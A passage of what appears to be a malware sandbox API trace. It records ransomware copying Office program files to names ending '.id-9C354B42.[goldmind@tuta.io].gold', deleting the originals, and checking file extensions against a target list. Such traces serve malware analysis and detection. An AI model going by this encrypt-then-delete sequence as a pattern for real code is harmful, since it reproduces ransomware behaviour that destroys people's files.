hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.839] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0096.839] GetLastError () returned 0x0 [0096.839] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x1b778, lpOverlapped=0x0) returned 1 [0096.842] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1b780, lpOverlapped=0x0) returned 1 [0096.844] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.844] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xee, lpOverlapped=0x0) returned 1 [0096.844] SetEndOfFile (hFile=0x3a4) returned 1 [0096.844] CloseHandle (hObject=0x3a4) returned 1 [0096.847] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.847] SetEndOfFile (hFile=0x3ac) returned 1 [0097.679] CloseHandle (hObject=0x3ac) returned 1 [0097.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 1 [0098.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.077] lstrlenW (lpString=".doc") returned 4 [0098.077] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0098.077] lstrlenW (lpString=".docx") returned 5 [0098.077] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0098.077] lstrlenW (lpString=".pdf") returned 4 [0098.077] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0098.077] lstrlenW (lpString=".xls") returned 4 [0098.077] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0098.077] lstrlenW (lpString=".xlsx") returned 5 [0098.077] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0098.077] lstrlenW (lpString=".ppt") returned 4 [0098.077] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0098.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.077] lstrlenW (lpString=".zip") returned 4 [0098.077] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0098.077] lstrlenW (lpString=".rar") returned 4 [0098.077] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString=".bz2") returned 4 [0098.078] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString=".7z") returned 3 [0098.078] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString=".dbf") returned 4 [0098.078] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString=".1cd") returned 4 [0098.078] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString=".jpg") returned 4 [0098.078] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString=".doc") returned 4 [0098.078] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString=".docx") returned 5 [0098.078] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0098.078] lstrlenW (lpString=".pdf") returned 4 [0098.078] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString=".xls") returned 4 [0098.078] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString=".xlsx") returned 5 [0098.078] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0098.078] lstrlenW (lpString=".ppt") returned 4 [0098.078] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString=".zip") returned 4 [0098.078] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString=".rar") returned 4 [0098.078] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString=".bz2") returned 4 [0098.078] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString=".7z") returned 3 [0098.078] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString=".dbf") returned 4 [0098.078] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString=".1cd") returned 4 [0098.078] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0098.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0098.078] lstrlenW (lpString=".jpg") returned 4 [0098.078] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0098.078] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0098.078] lstrlenW (lpString="fling.exe") returned 9 [0098.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\fling.exe" (normalized: "c:\\program files\\microsoft office\\fling.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0098.123] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=80384) returned 1 [0098.123] CloseHandle (hObject=0x364) returned 1 [0098.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\fling.exe" (normalized: "c:\\program files\\microsoft office\\fling.exe")) returned 0x20 [0098.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\fling.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\fling.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\fling.exe" (normalized: "c:\\program files\\microsoft office\\fling.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.211] lstrlenW (lpString=".doc") returned 4 [0098.211] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0098.211] lstrlenW (lpString=".docx") returned 5 [0098.211] lstrcmpiW (lpString1=".docx", lpString2="g.exe") returned -1 [0098.211] lstrlenW (lpString=".pdf") returned 4 [0098.211] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0098.211] lstrlenW (lpString=".xls") returned 4 [0098.211] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0098.211] lstrlenW (lpString=".xlsx") returned 5 [0098.211] lstrcmpiW (lpString1=".xlsx", lpString2="g.exe") returned -1 [0098.211] lstrlenW (lpString=".ppt") returned 4 [0098.211] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0098.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.211] lstrlenW (lpString=".zip") returned 4 [0098.211] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0098.211] lstrlenW (lpString=".rar") returned 4 [0098.211] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0098.211] lstrlenW (lpString=".bz2") returned 4 [0098.211] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0098.211] lstrlenW (lpString=".7z") returned 3 [0098.211] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0098.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.211] lstrlenW (lpString=".dbf") returned 4 [0098.211] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0098.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.211] lstrlenW (lpString=".1cd") returned 4 [0098.211] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0098.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.211] lstrlenW (lpString=".jpg") returned 4 [0098.211] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0098.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.211] lstrlenW (lpString=".doc") returned 4 [0098.211] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0098.212] lstrlenW (lpString=".docx") returned 5 [0098.212] lstrcmpiW (lpString1=".docx", lpString2="g.exe") returned -1 [0098.212] lstrlenW (lpString=".pdf") returned 4 [0098.212] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0098.212] lstrlenW (lpString=".xls") returned 4 [0098.212] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0098.212] lstrlenW (lpString=".xlsx") returned 5 [0098.212] lstrcmpiW (lpString1=".xlsx", lpString2="g.exe") returned -1 [0098.212] lstrlenW (lpString=".ppt") returned 4 [0098.212] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0098.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.212] lstrlenW (lpString=".zip") returned 4 [0098.212] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0098.212] lstrlenW (lpString=".rar") returned 4 [0098.212] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0098.212] lstrlenW (lpString=".bz2") returned 4 [0098.212] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0098.212] lstrlenW (lpString=".7z") returned 3 [0098.212] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0098.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.212] lstrlenW (lpString=".dbf") returned 4 [0098.212] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0098.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.212] lstrlenW (lpString=".1cd") returned 4 [0098.212] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0098.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\fling.exe") returned 43 [0098.212] lstrlenW (lpString=".jpg") returned 4 [0098.212] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0098.212] lstrcmpiW (lpString1=".MML", lpString2=".gold") returned 1 [0098.212] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0098.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.214] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=312400) returned 1 [0098.214] CloseHandle (hObject=0x3c0) returned 1 [0098.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0098.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.215] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.215] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.217] GetLastError () returned 0x0 [0098.217] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x4c450, lpOverlapped=0x0) returned 1 [0098.225] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x4c460, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x4c460, lpOverlapped=0x0) returned 1 [0098.266] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0098.266] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.266] SetEndOfFile (hFile=0x3c4) returned 1 [0098.266] CloseHandle (hObject=0x3c4) returned 1 [0098.266] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0098.266] SetEndOfFile (hFile=0x3c0) returned 1 [0098.273] CloseHandle (hObject=0x3c0) returned 1 [0098.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 1 [0098.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString=".doc") returned 4 [0098.274] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0098.274] lstrlenW (lpString=".docx") returned 5 [0098.274] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0098.274] lstrlenW (lpString=".pdf") returned 4 [0098.274] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0098.274] lstrlenW (lpString=".xls") returned 4 [0098.274] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0098.274] lstrlenW (lpString=".xlsx") returned 5 [0098.274] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0098.274] lstrlenW (lpString=".ppt") returned 4 [0098.274] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0098.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString=".zip") returned 4 [0098.274] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0098.274] lstrlenW (lpString=".rar") returned 4 [0098.274] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0098.274] lstrlenW (lpString=".bz2") returned 4 [0098.274] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0098.274] lstrlenW (lpString=".7z") returned 3 [0098.274] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0098.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString=".dbf") returned 4 [0098.274] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0098.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString=".1cd") returned 4 [0098.274] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0098.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString=".jpg") returned 4 [0098.274] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0098.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString=".doc") returned 4 [0098.274] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0098.274] lstrlenW (lpString=".docx") returned 5 [0098.274] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0098.274] lstrlenW (lpString=".pdf") returned 4 [0098.274] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0098.274] lstrlenW (lpString=".xls") returned 4 [0098.274] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0098.274] lstrlenW (lpString=".xlsx") returned 5 [0098.274] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0098.274] lstrlenW (lpString=".ppt") returned 4 [0098.274] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0098.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.274] lstrlenW (lpString=".zip") returned 4 [0098.275] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0098.275] lstrlenW (lpString=".rar") returned 4 [0098.275] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0098.275] lstrlenW (lpString=".bz2") returned 4 [0098.275] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0098.275] lstrlenW (lpString=".7z") returned 3 [0098.275] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0098.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.275] lstrlenW (lpString=".dbf") returned 4 [0098.275] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0098.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.275] lstrlenW (lpString=".1cd") returned 4 [0098.275] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0098.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0098.275] lstrlenW (lpString=".jpg") returned 4 [0098.275] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0098.275] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0098.275] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0098.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0098.276] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=15776) returned 1 [0098.276] CloseHandle (hObject=0x3c0) returned 1 [0098.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll")) returned 0x20 [0098.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.276] lstrlenW (lpString=".doc") returned 4 [0098.276] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0098.276] lstrlenW (lpString=".docx") returned 5 [0098.276] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0098.276] lstrlenW (lpString=".pdf") returned 4 [0098.276] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0098.276] lstrlenW (lpString=".xls") returned 4 [0098.276] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0098.276] lstrlenW (lpString=".xlsx") returned 5 [0098.276] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0098.276] lstrlenW (lpString=".ppt") returned 4 [0098.276] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0098.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.276] lstrlenW (lpString=".zip") returned 4 [0098.276] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0098.276] lstrlenW (lpString=".rar") returned 4 [0098.276] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0098.276] lstrlenW (lpString=".bz2") returned 4 [0098.276] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0098.276] lstrlenW (lpString=".7z") returned 3 [0098.276] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0098.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.276] lstrlenW (lpString=".dbf") returned 4 [0098.276] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0098.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.276] lstrlenW (lpString=".1cd") returned 4 [0098.276] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0098.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.277] lstrlenW (lpString=".jpg") returned 4 [0098.277] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0098.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.277] lstrlenW (lpString=".doc") returned 4 [0098.277] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0098.277] lstrlenW (lpString=".docx") returned 5 [0098.277] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0098.277] lstrlenW (lpString=".pdf") returned 4 [0098.277] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0098.277] lstrlenW (lpString=".xls") returned 4 [0098.277] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0098.277] lstrlenW (lpString=".xlsx") returned 5 [0098.277] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0098.277] lstrlenW (lpString=".ppt") returned 4 [0098.277] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0098.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.277] lstrlenW (lpString=".zip") returned 4 [0098.277] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0098.277] lstrlenW (lpString=".rar") returned 4 [0098.277] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0098.277] lstrlenW (lpString=".bz2") returned 4 [0098.277] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0098.277] lstrlenW (lpString=".7z") returned 3 [0098.277] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0098.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0098.277] lstrlenW (lpString=".dbf") returned 4 [0098.277] 